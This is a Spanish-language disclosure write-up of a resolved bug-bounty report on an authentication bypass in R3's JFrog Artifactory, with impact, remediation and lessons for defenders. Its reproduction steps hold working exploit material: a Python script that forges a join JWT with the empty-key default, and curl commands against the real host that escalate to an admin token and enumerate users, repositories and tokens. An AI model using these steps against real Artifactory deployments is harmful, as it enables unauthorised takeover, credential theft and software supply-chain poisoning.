Resumen
La instancia de JFrog Artifactory de R3 Limited (software.r3.com) era vulnerable a CVE-2026-82329 (CVSS 9.8), un fallo de bypass de autenticación en el servicio de access. El problema nace de una join key (clave de unión entre nodos) dejada por defecto en vacío. Cuando el fichero join.key está vacío, la clave con la que se firman los JWT de registro se convierte en 32 bytes de espacio (0x20), un valor conocido y universal. Con esa clave, un atacante no autenticado podía firmar su propio JWT, darse de alta como servicio de confianza del clúster y, a partir de ahí, pedir un token con scope de administrador sobre toda la instancia.
R3 es la empresa detrás de Corda, una plataforma de blockchain empresarial usada por bancos, aseguradoras e instituciones financieras. Esa Artifactory era su plataforma principal de distribución de software, de modo que el fallo abría la puerta a un ataque de cadena de suministro sobre todo el ecosistema que consume sus artefactos.
Pasos de reproducción
1. Forjar el JWT de unión con la clave vacía por defecto
La clave de firma HMAC es el resultado de rellenar (padding PKCS7) la join key vacía, lo que da 32 bytes de espacio. Con ella se firma un JWT que pide saltarse el registro del nodo:
import hmac, hashlib, base64, json, time
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b64url(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
payload = b64url(json.dumps({
"service_id": "jfrt@01",
"node_id": "exploit-node",
"skip_node_registration": True,
"iat": int(time.time()) * 1000
}).encode())
signing_input = f"{header}.{payload}"
key = b'\x20' * 32 # 32 espacios: la join key vacía por defecto
sig = hmac.new(key, signing_input.encode(), hashlib.sha256).digest()
jwt_token = f"{signing_input}.{b64url(sig)}"
print(jwt_token)
2. Registrarse como servicio de confianza
Se envía el JWT forjado al endpoint de join del servicio de access:
curl -sk -X POST -H "Content-Type: text/plain" \
-d '<JWT_DEL_PASO_1>' \
https://software.r3.com/access/api/v1/registry/join
El servidor acepta el JWT y responde 201 Created con un token de acceso firmado con RSA para el servicio recién registrado.
3. Escalar a administrador
Con ese token se pide otro con scope de administrador:
curl -sk -X POST \
-H "Authorization: Bearer <TOKEN_DEL_PASO_2>" \
-H "Content-Type: application/json" \
-d '{"scope": "applied-permissions/admin", "expires_in": 3600}' \
https://software.r3.com/access/api/v1/tokens
La respuesta (200) devuelve un token con permisos de administrador sin restricciones.
4. Confirmar el acceso
A partir del token de administrador, el investigador comprobó el alcance real consultando las APIs de administración:
# Enumerar usuarios
curl -sk -H "Authorization: Bearer <TOKEN_ADMIN>" \
https://software.r3.com/artifactory/api/security/users
# Enumerar repositorios
curl -sk -H "Authorization: Bearer <TOKEN_ADMIN>" \
https://software.r3.com/artifactory/api/repositories
# Listar tokens de acceso
curl -sk -H "Authorization: Bearer <TOKEN_ADMIN>" \
https://software.r3.com/access/api/v1/tokens
Según el reporte: 292 cuentas de usuario (empleados de R3 y de organizaciones asociadas, con sus correos corporativos), 269 repositorios (81 de Corda y 4 relacionados con monedas digitales de banco central, CBDC) y 262 tokens de acceso, de ellos 30 con scope de administrador.
Para demostrar el acceso de escritura sin tocar nada de producción, el investigador creó y borró de inmediato un repositorio de prueba y un usuario de prueba, volvió a cifrar los valores que había descifrado y no dejó accesos persistentes.
Impacto
El fallo daba a un atacante no autenticado control administrativo total de la plataforma de distribución de software de R3. En concreto, según lo demostrado en el reporte:
- Acceso completo a las 292 cuentas y a los 269 repositorios, incluidos los que sirven releases de Corda Enterprise a bancos e instituciones financieras (
corda-enterprise-for-customers,corda5-release-packs-for-customers), las imágenes Docker de producción (corda-ent-docker-stable,corda-os-docker-stable) y los repositorios de aplicaciones móviles CBDC. - Extracción de 262 tokens de acceso (30 de administrador), que suponen una vía de persistencia incluso tras rotar la join key.
- Ataque de cadena de suministro: con escritura sobre esos repositorios, un atacante podría publicar versiones maliciosas de los artefactos de Corda y CENM que consumen los clientes, o envenenar las imágenes Docker.
- Extracción de las credenciales SMTP de Office 365 de la cuenta de servicio de Artifactory, descifrándolas desde la configuración, lo que habilitaría enviar correo en nombre de R3.
- Extracción del par de claves GPG de firma de artefactos de R3, lo que permitiría firmar paquetes maliciosos como si fueran legítimos, dando confianza criptográfica a un ataque de cadena de suministro.
Software afectado según el reporte: JFrog Artifactory 7.133.16.
Remediación
El reporte recomienda, entre otras medidas:
- Rotar la join key a un valor aleatorio fuerte.
- Actualizar Artifactory a 7.191.14 o posterior, que corrige CVE-2026-82329.
- Revocar todos los tokens existentes (en especial los de administrador) y considerarlos comprometidos.
- Rotar la contraseña de Office 365 de la cuenta de servicio de Artifactory y la clave GPG de firma, y volver a firmar los artefactos publicados.
- Restringir el acceso al endpoint
/access/api/v1/registry/joina redes internas de confianza. - Auditar repositorios y cuentas en busca de modificaciones no autorizadas y avisar a las organizaciones asociadas afectadas.
El reporte figura como Resuelto. Fue enviado el 3 de septiembre de 2026 y divulgado el 8 de octubre de 2026.
Qué aprender de este caso
- En cualquier despliegue de JFrog Artifactory (o productos con clústeres que firman JWT entre nodos), comprueba que
join.keyno está vacío: una clave vacía degrada a un valor fijo y público (aquí, 32 espacios), que convierte la firma HMAC en algo que cualquiera puede reproducir. - El endpoint
access/api/v1/registry/joinno debería ser alcanzable desde Internet: el registro de nodos es tráfico interno del clúster. Exponerlo convierte un secreto compartido débil en un bypass de autenticación remoto. - Vigila los flujos de escalada de privilegios por tokens: aquí un servicio recién registrado podía pedirse a sí mismo un token
applied-permissions/admin. Revisa que el scope que un servicio puede solicitar esté acotado a lo que necesita. - Los secretos "descifrables por el propio sistema" (credenciales SMTP, claves GPG) solo protegen mientras nadie tenga admin: una vez dentro, el endpoint
api/system/decryptlos entrega en claro. Trata las claves de firma de artefactos como secretos de máxima criticidad, idealmente en un HSM o almacén externo.